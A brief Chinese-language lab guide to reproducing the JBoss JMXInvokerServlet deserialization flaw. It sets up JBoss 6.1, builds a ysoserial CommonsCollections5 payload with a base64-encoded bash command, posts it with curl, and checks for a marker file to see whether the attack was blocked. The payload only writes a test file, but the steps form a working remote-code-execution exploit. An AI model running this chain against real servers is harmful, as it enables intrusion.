Invoker反序列化

安装JAVA环境

安装jboss

1、https://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip)。解压后，进入bin目录，启动jboss: ./run.sh -c default -Djboss.bind.address=0.0.0.0。

2、浏览器访问：http://IP:8080/

生成命令序列化文件

1、Base64（echo 1 > ~/test.log） 为MQo=
2、下载工具jar包：https://github.com/hspro9x/test/blob/2a82b76840dcbbf5db54e640ae253169bdd6ecbf/ysoserial-master-6eca5bc740-1.jar
3、运行命令：

java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections5 "bash -c {echo, MQo= }|{base64,-d}|{bash,-i}">aufeng.ser

也可以直接下载本例ser文件：https://bss-test-file.bj.bcebos.com/aufeng.ser
4、在测试机上，在跟ser文件相同目录下，发起如下攻击请求：

curl http://IP/invoker/JMXInvokerServlet --data-binary @aufeng.ser

5、在jboss所在的机器上，查看运行命令：cat ~/test.log
6、若jboss机器上没有~/test.log该文件存在，表示该攻击被拦截